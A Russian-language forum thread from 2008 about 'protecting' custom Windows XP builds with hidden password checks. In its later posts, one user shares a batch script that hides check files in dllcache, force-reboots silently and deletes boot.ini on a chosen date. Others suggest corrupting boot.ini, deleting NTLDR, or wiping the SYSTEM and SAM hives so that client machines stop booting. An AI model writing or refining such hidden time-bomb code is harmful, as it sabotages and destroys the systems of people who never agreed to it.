PDA

Показать полную графическую версию : [Горячий вопрос] Защита своего дистрибутива!


Страниц : 1 2 3 4 5 6 7 8 [9] 10 11 12 13

Alexej77
18-06-2008, 21:04
alcos, редактирование ресурсов - это изменение оформления, например, замена фоновой картинки, прогресса и т.д.
Данное пропатчивание, думаю, к варезу не относится. Где-то здесь на форуме предлагают патчить и taskmgr, и explorer...

alcos
19-06-2008, 13:26
редактирование ресурсов - это изменение оформления »
Это я прекрасно знаю, сам правкой ресурсов занимаюсь. Перечитал ещё раз ваше сообщение и понял, что затупил я чуток.
Сравнил две библиотеки в HEX редакторе и всё встало на свои места. Теперь надо попробовать сей метод в действии.

WindoStroy
24-06-2008, 22:22
Моё решение:
Написал маленькую программку которою запускаю на T13, она выдаёт уникальный код компьютера, и надо ввести ответный код или секретное слово. Опытный юзер догадается, а ламер нет.

P0W3R_p4ck
24-06-2008, 22:59
интересно, зачем защищать свой дист? недаеш ключа системы и не пишеш что за система и всьо. для оемки подобрать ключ очень тяжело. сам проверял, а для влковской ну это нада поискать.
народ, гордость должна быть за то что вашы продукты юзают.
например на моей системе своего времени сидели много людей а в мою контру играло пол моего городка.

DiMMMm
28-06-2008, 18:39
P0W3R_p4ck, ключи - это как раз не проблема....

Гимран
06-07-2008, 19:48
Хотел добавить по поводу защиты - защищать надо потому, что в клиентских машинах забываем диски))) Кто знает способ или программу для открывания трея CDROM после установки Windows? Все программы, которые мне удалось найти, требовали вмешательства человека для открывания трея.

Alexej77
12-07-2008, 12:59
Гимран, вот программка для выдвигания всех лотков. Надо просто сделать ее автоматический запуск после установки Windows.

VORONUK
12-07-2008, 19:14
Ребят, помогите...

А я вот так хочу защитить, свой дистрибутив...

Мне надо скрыть несколько папок в своём дистрибутиве.
Т.е. поясняю, когда открывается CD-диск, небыло бы видно $EOM$, и часть других папок, я видел что такое возможно, но незнаю чем это сделать, может чтото подскажете?

(как для меня папку перемешать ненадо (по своим причинам))

Заранее пасиба :)

Alexej77
12-07-2008, 22:58
Гимран, еще программка, которая выдвигает только те лотки приводов, где в корне дисков есть файл WIN51, и не отключает USB-флешки, в отличие от предыдущей.

sLiDeR-X
15-07-2008, 09:52
не понимаю, для чего защищать свой дистр.
Допустим я сделал диск, поставил себе винду. Ведь различного рода эддоны я на форуме брал. И остальные могуть тоже взять и сделать, выложить в инет.
Не понимаю %)

Wowa_z
13-08-2008, 16:15
Реализация: библиотека winntbbu.dll патчится специальным образом, чтобы при своей загрузке она подгружала дополнительную библиотеку (с именем, например, bitsprx1.dll для маскировки под остальные похожие файлы), в которой содержится диалог ввода и проверка пароля. »
А как можно пропатчить другие winntbbu.dll для того чтобы срабатывала эта защита?

Alexej77
14-08-2008, 00:16
Wowa_z, сам не пропатчишь. Возьми здесь (http://forum.oszone.net/post-828568-159.html) тот, что я выкладывал.

D_Master
21-08-2008, 22:49
А что, если сделать так:
1. Кидаем в %windir%\system32\dllcache какое-нибудь чек-файло (почему в dllcache - потому что юзверь папочку не видет, следовательно, обнаружить будет трудняцко, даже если батник вскроет)
2. Читаем это файло, если все файлики (а чеков у нас будет как минимум три) на месте, идём дальше, если чего-то не хватает, идём в ребут. Тихий ребут можно сделать тем же XPTweaker'ом.
3. Если всё файлы на месте делаем следующее: задаём дату Х, по достижении которой система подыхает:
cls
@echo off
set file=%windir%\system32\dllcache\explorer.exe.mui.txt
set file2=%windir%\system32\dllcache\shell32.dll.mui.txt
set file3=%windir%\system32\dllcache\rundll32.exe.mui.txt
if exist %file% goto next1
if not exist %file% goto error
:next1
if exist %file2% goto next2
if not exist %file2% goto error
:next2
if exist %file3% goto checkdate
if not exist %file3% goto error
:error
set reboot="%programfiles%\XP Tweaker"
cd %reboot%
start xptweaker.exe /reboot /force
exit
:checkdate
set D=22.08.2008
for %%i in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do if exist %%i:\boot.ini set lv=%%i:
if defined lv (
if %D%==%DATE% (
attrib -A -S -R -H %lv%\boot.ini
del %lv%\boot.ini
) else (
exit
)
)
Что я хотел этим сделать - проверяем три файа, если всё окей, идём к чекдэйт. Если заданная дата Х соответствует текущей дате, удалить бут-ини, из-за чего (сначала я думал), система грузится перестанет. Хрена с два! Грузится как ни в чём не бывало! Соответственно вопрос: что можно удалить, чтобы система перестала грузится (чтобы всю папку WINDOWS не дэлетить=).

Сейчас только пришла мысля - может быть проверять реестр на наличие каких-нибудь строковых параметров, к примеру?

D_Master
26-08-2008, 19:21
Что, ни у кого никаких идей не осталось??

DiMMMm
26-08-2008, 20:12
D_Master, можно подменять boot.ini на "исправленный" вариант, в котором, например, изменить название папки с Windows. Вот так:

timeout=30
default=multi(0)disk(0)rdisk(2)partition(1)\[B]WINDWS
[operating systems]
multi(0)disk(0)rdisk(2)partition(1)\WINDWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
главное изменить названия папки в обоих местах (default и user-defined варианты)

D_Master
26-08-2008, 21:44
чорд...
как же это до мну сразу не дошло...
Только скоре всего не подменять, а редактировать, откуда мы знаем, скока осей у чела на тачке стоит...
заодно и от других виндов его избавим)))

AleksandrG
01-09-2008, 07:46
Чтоб не загружалась именно эта ось или весь компьютер?
Если весь, то удали NTLDR и все.
Хотя и boot.ini и NTLDR достаточно легко лечаться

D_Master
01-09-2008, 12:28
AleksandrG, лечатся в смысле тупо "копи-паст"? System и Sam думаю удалить будет нереально, да?

DiMMMm
01-09-2008, 17:00
D_Master, можно из-под загруженной системы экстримально "почистить" их

D_Master
01-09-2008, 18:24
DiMMMm, можно поподробнее?




© OSzone.net 2001-2012